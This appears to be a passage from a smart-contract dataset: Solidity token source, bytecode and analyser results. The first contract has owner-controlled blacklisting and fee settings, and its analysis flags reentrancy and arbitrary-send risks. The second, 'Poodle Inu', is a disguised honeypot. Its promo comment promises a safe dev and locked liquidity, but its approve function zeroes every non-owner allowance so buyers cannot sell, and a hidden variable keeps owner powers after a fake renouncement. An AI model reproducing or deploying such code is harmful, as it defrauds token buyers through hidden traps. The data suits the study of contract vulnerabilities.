view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner());
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 60000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057a578063dd62ed3e1461059a578063ea1644d5146105e0578063f2fde38b1461060057600080fd5b8063a2a957bb146104f5578063a9059cbb14610515578063bfd7928414610535578063c3c8cd801461056557600080fd5b80638f70ccf7116100d15780638f70ccf7146104745780638f9a55c01461049457806395d89b41146104aa57806398a5c315146104d557600080fd5b80637d1db4a5146103fe5780637f2feddc146104145780638203f5fe146104415780638da5cb5b1461045657600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039457806370a08231146103a9578063715018a6146103c957806374010ece146103de57600080fd5b8063313ce5671461031857806349bd5a5e146103345780636b999053146103545780636d8aa8f81461037457600080fd5b80631694505e116101b65780631694505e1461028457806318160ddd146102bc57806323b872dd146102e25780632fd689e31461030257600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025457600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b506102076102023660046119f2565b610620565b005b34801561021557600080fd5b5060408051808201909152601081526f546974616e69756d2046696e616e636560801b60208201525b60405161024b9190611ab7565b60405180910390f35b34801561026057600080fd5b5061027461026f366004611b0c565b6106bf565b604051901515815260200161024b565b34801561029057600080fd5b506013546102a4906001600160a01b031681565b6040516001600160a01b03909116815260200161024b565b3480156102c857600080fd5b50683635c9adc5dea000005b60405190815260200161024b565b3480156102ee57600080fd5b506102746102fd366004611b38565b6106d6565b34801561030e57600080fd5b506102d460175481565b34801561032457600080fd5b506040516009815260200161024b565b34801561034057600080fd5b506014546102a4906001600160a01b031681565b34801561036057600080fd5b5061020761036f366004611b79565b61073f565b34801561038057600080fd5b5061020761038f366004611ba6565b61078a565b3480156103a057600080fd5b506102076107d2565b3480156103b557600080fd5b506102d46103c4366004611b79565b6107ff565b3480156103d557600080fd5b50610207610821565b3480156103ea57600080fd5b506102076103f9366004611bc1565b610895565b34801561040a57600080fd5b506102d460155481565b34801561042057600080fd5b506102d461042f366004611b79565b60116020526000908152604090205481565b34801561044d57600080fd5b506102076108d7565b34801561046257600080fd5b506000546001600160a01b03166102a4565b34801561048057600080fd5b5061020761048f366004611ba6565b610a8f565b3480156104a057600080fd5b506102d460165481565b3480156104b657600080fd5b50604080518082019091526002815261546960f01b602082015261023e565b3480156104e157600080fd5b506102076104f0366004611bc1565b610aee565b34801561050157600080fd5b50610207610510366004611bda565b610b1d565b34801561052157600080fd5b50610274610530366004611b0c565b610b77565b34801561054157600080fd5b50610274610550366004611b79565b60106020526000908152604090205460ff1681565b34801561057157600080fd5b50610207610b84565b34801561058657600080fd5b50610207610595366004611c0c565b610bba565b3480156105a657600080fd5b506102d46105b5366004611c90565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ec57600080fd5b506102076105fb366004611bc1565b610c5b565b34801561060c57600080fd5b5061020761061b366004611b79565b610c8a565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161064a90611cc9565b60405180910390fd5b60005b81518110156106bb5760016010600084848151811061067757610677611cfe565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b381611d2a565b915050610656565b5050565b60006106cc338484610d74565b5060015b92915050565b60006106e3848484610e98565b610735843361073085604051806060016040528060288152602001611e42602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061128a565b610d74565b5060019392505050565b6000546001600160a01b031633146107695760405162461bcd60e51b815260040161064a90611cc9565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b45760405162461bcd60e51b815260040161064a90611cc9565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f257600080fd5b476107fc816112c4565b50565b6001600160a01b0381166000908152600260205260408120546106d0906112fe565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161064a90611cc9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161064a90611cc9565b653691d6afc0008110156108d257600080fd5b601555565b6000546001600160a01b031633146109015760405162461bcd60e51b815260040161064a90611cc9565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610966573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098a9190611d43565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fb9190611d43565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6c9190611d43565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab95760405162461bcd60e51b815260040161064a90611cc9565b601454600160a01b900460ff1615610ad057600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b185760405162461bcd60e51b815260040161064a90611cc9565b601755565b6000546001600160a01b03163314610b475760405162461bcd60e51b815260040161064a90611cc9565b60095482111580610b5a5750600b548111155b610b6357600080fd5b600893909355600a91909155600955600b55565b60006106cc338484610e98565b6012546001600160a01b0316336001600160a01b031614610ba457600080fd5b6000610baf306107ff565b90506107fc81611382565b6000546001600160a01b03163314610be45760405162461bcd60e51b815260040161064a90611cc9565b60005b82811015610c55578160056000868685818110610c0657610c06611cfe565b9050602002016020810190610c1b9190611b79565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4d81611d2a565b915050610be7565b50505050565b6000546001600160a01b03163314610c855760405162461bcd60e51b815260040161064a90611cc9565b601655565b6000546001600160a01b03163314610cb45760405162461bcd60e51b815260040161064a90611cc9565b6001600160a01b038116610d195760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064a565b6001600160a01b038216610e375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064a565b6001600160a01b038216610f5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064a565b60008111610fc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064a565b6000546001600160a01b03848116911614801590610fec57506000546001600160a01b03838116911614155b1561118357601454600160a01b900460ff1661101c576000546001600160a01b0384811691161461101c57600080fd5b60155481111561102b57600080fd5b6001600160a01b03831660009081526010602052604090205460ff1615801561106d57506001600160a01b03821660009081526010602052604090205460ff16155b61107657600080fd5b6014546001600160a01b038381169116146110ac5760165481611098846107ff565b6110a29190611d60565b106110ac57600080fd5b60006110b7306107ff565b6017546015549192508210159082106110d05760155491505b8080156110e75750601454600160a81b900460ff16155b801561110157506014546001600160a01b03868116911614155b80156111165750601454600160b01b900460ff165b801561113b57506001600160a01b03851660009081526005602052604090205460ff16155b801561116057506001600160a01b03841660009081526005602052604090205460ff16155b156111805761116e82611382565b47801561117e5761117e476112c4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111c557506001600160a01b03831660009081526005602052604090205460ff165b806111f757506014546001600160a01b038581169116148015906111f757506014546001600160a01b03848116911614155b156112045750600061127e565b6014546001600160a01b03858116911614801561122f57506013546001600160a01b03848116911614155b1561124157600854600c55600954600d555b6014546001600160a01b03848116911614801561126c57506013546001600160a01b03858116911614155b1561127e57600a54600c55600b54600d555b610c55848484846114fc565b600081848411156112ae5760405162461bcd60e51b815260040161064a9190611ab7565b5060006112bb8486611d78565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bb573d6000803e3d6000fd5b60006006548211156113655760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064a565b600061136f61152a565b905061137b838261154d565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ca576113ca611cfe565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611423573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114479190611d43565b8160018151811061145a5761145a611cfe565b6001600160a01b0392831660209182029290920101526013546114809130911684610d74565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b9908590600090869030904290600401611d8f565b600060405180830381600087803b1580156114d357600080fd5b505af11580156114e7573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115095761150961158f565b6115148484846115bd565b80610c5557610c55600e54600c55600f54600d55565b60008060006115376116b4565b9092509050611546828261154d565b9250505090565b600061137b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f6565b600c5415801561159f5750600d54155b156115a657565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115cf87611724565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116019087611781565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461163090866117c3565b6001600160a01b03891660009081526002602052604090205561165281611822565b61165c848361186c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116a191815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006116d0828261154d565b8210156116ed57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117175760405162461bcd60e51b815260040161064a9190611ab7565b5060006112bb8486611e00565b60008060008060008060008060006117418a600c54600d54611890565b925092509250600061175161152a565b905060008060006117648e8787876118e5565b919e509c509a509598509396509194505050505091939550919395565b600061137b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128a565b6000806117d08385611d60565b90508381101561137b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064a565b600061182c61152a565b9050600061183a8383611935565b3060009081526002602052604090205490915061185790826117c3565b30600090815260026020526040902055505050565b6006546118799083611781565b60065560075461188990826117c3565b6007555050565b60008080806118aa60646118a48989611935565b9061154d565b905060006118bd60646118a48a89611935565b905060006118d5826118cf8b86611781565b90611781565b9992985090965090945050505050565b60008080806118f48886611935565b905060006119028887611935565b905060006119108888611935565b90506000611922826118cf8686611781565b939b939a50919850919650505050505050565b600082600003611947575060006106d0565b60006119538385611e22565b9050826119608583611e00565b1461137b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b80356119ed816119cd565b919050565b60006020808385031215611a0557600080fd5b823567ffffffffffffffff80821115611a1d57600080fd5b818501915085601f830112611a3157600080fd5b813581811115611a4357611a436119b7565b8060051b604051601f19603f83011681018181108582111715611a6857611a686119b7565b604052918252848201925083810185019188831115611a8657600080fd5b938501935b82851015611aab57611a9c856119e2565b84529385019392850192611a8b565b98975050505050505050565b600060208083528351808285015260005b81811015611ae457858101830151858201604001528201611ac8565b81811115611af6576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b1f57600080fd5b8235611b2a816119cd565b946020939093013593505050565b600080600060608486031215611b4d57600080fd5b8335611b58816119cd565b92506020840135611b68816119cd565b929592945050506040919091013590565b600060208284031215611b8b57600080fd5b813561137b816119cd565b803580151581146119ed57600080fd5b600060208284031215611bb857600080fd5b61137b82611b96565b600060208284031215611bd357600080fd5b5035919050565b60008060008060808587031215611bf057600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c2157600080fd5b833567ffffffffffffffff80821115611c3957600080fd5b818601915086601f830112611c4d57600080fd5b813581811115611c5c57600080fd5b8760208260051b8501011115611c7157600080fd5b602092830195509350611c879186019050611b96565b90509250925092565b60008060408385031215611ca357600080fd5b8235611cae816119cd565b91506020830135611cbe816119cd565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611d3c57611d3c611d14565b5060010190565b600060208284031215611d5557600080fd5b815161137b816119cd565b60008219821115611d7357611d73611d14565b500190565b600082821015611d8a57611d8a611d14565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ddf5784516001600160a01b031683529383019391830191600101611dba565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e1d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e3c57611e3c611d14565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a31b67fd33c87a90b88822b48353ef899d5c61a43cf67bf29dfad7dfcfaae9d164736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,535 |
0xd586dcfdf3bbcf45549987456641501d37efa188 | /*
▒█▀▀█ █▀▀█ █▀▀█ █▀▀▄ █░░ █▀▀ ▀█▀ █▀▀▄ █░░█
▒█▄▄█ █░░█ █░░█ █░░█ █░░ █▀▀ ▒█░ █░░█ █░░█
▒█░░░ ▀▀▀▀ ▀▀▀▀ ▀▀▀░ ▀▀▀ ▀▀▀ ▄█▄ ▀░░▀ ░▀▀▀
⛽️Podonomics
10% Buy Tax
15% Sell Tax
🗓 Launch Date - 16th of February 9-10PM UTC
✅ SAFU DEV 💎
✅ STEALTH LAUNCH 🚀
✅ BIG MARKETING CAMPAIGN 💰
✅ LIQUIDITY LOCK 🔐
✅ ANTI-BOT 🤖 ❌
✅ ANTI-SNIPE 🎯
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Poodle is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**9* 10**18;
string private _name = 'Poodle Inu ' ;
string private _symbol = 'POODLEINU ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e08560405180606001604052806028815260